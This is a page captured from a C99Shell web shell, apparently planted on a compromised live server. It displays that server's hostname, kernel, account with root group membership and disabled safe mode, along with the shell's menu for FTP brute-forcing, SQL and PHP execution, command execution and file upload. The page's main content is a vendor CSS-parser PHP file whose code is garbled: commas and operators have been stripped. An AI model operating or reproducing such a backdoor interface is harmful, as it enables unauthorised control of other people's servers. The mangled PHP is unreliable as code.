!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/sabberworm/php-css-parser/src/Value/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CSSString.php (2.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Sabberworm\CSS\Value;

use 
Sabberworm\CSS\OutputFormat;
use 
Sabberworm\CSS\Parsing\ParserState;
use 
Sabberworm\CSS\Parsing\SourceException;
use 
Sabberworm\CSS\Parsing\UnexpectedEOFException;
use 
Sabberworm\CSS\Parsing\UnexpectedTokenException;

/**
 * This class is a wrapper for quoted strings to distinguish them from keywords.
 *
 * `CSSString`s always output with double quotes.
 */
class CSSString extends PrimitiveValue
{
    
/**
     * @var string
     */
    
private $sString;

    
/**
     * @param string $sString
     * @param int $iLineNo
     */
    
public function __construct($sString$iLineNo 0)
    {
        
$this->sString $sString;
        
parent::__construct($iLineNo);
    }

    
/**
     * @return CSSString
     *
     * @throws SourceException
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     *
     * @internal since V8.8.0
     */
    
public static function parse(ParserState $oParserState)
    {
        
$sBegin $oParserState->peek();
        
$sQuote null;
        if (
$sBegin === "'") {
            
$sQuote "'";
        } elseif (
$sBegin === '"') {
            
$sQuote '"';
        }
        if (
$sQuote !== null) {
            
$oParserState->consume($sQuote);
        }
        
$sResult "";
        
$sContent null;
        if (
$sQuote === null) {
            
// Unquoted strings end in whitespace or with braces, brackets, parentheses
            
while (!preg_match('/[\\s{}()<>\\[\\]]/isu'$oParserState->peek())) {
                
$sResult .= $oParserState->parseCharacter(false);
            }
        } else {
            while (!
$oParserState->comes($sQuote)) {
                
$sContent $oParserState->parseCharacter(false);
                if (
$sContent === null) {
                    throw new 
SourceException(
                        
"Non-well-formed quoted string {$oParserState->peek(3)}",
                        
$oParserState->currentLine()
                    );
                }
                
$sResult .= $sContent;
            }
            
$oParserState->consume($sQuote);
        }
        return new 
CSSString($sResult$oParserState->currentLine());
    }

    
/**
     * @param string $sString
     *
     * @return void
     */
    
public function setString($sString)
    {
        
$this->sString $sString;
    }

    
/**
     * @return string
     */
    
public function getString()
    {
        return 
$this->sString;
    }

    
/**
     * @return string
     *
     * @deprecated in V8.8.0, will be removed in V9.0.0. Use `render` instead.
     */
    
public function __toString()
    {
        return 
$this->render(new OutputFormat());
    }

    
/**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    
public function render($oOutputFormat)
    {
        
$sString addslashes($this->sString);
        
$sString str_replace("\n"'\A'$sString);
        return 
$oOutputFormat->getStringQuotingType() . $sString $oOutputFormat->getStringQuotingType();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--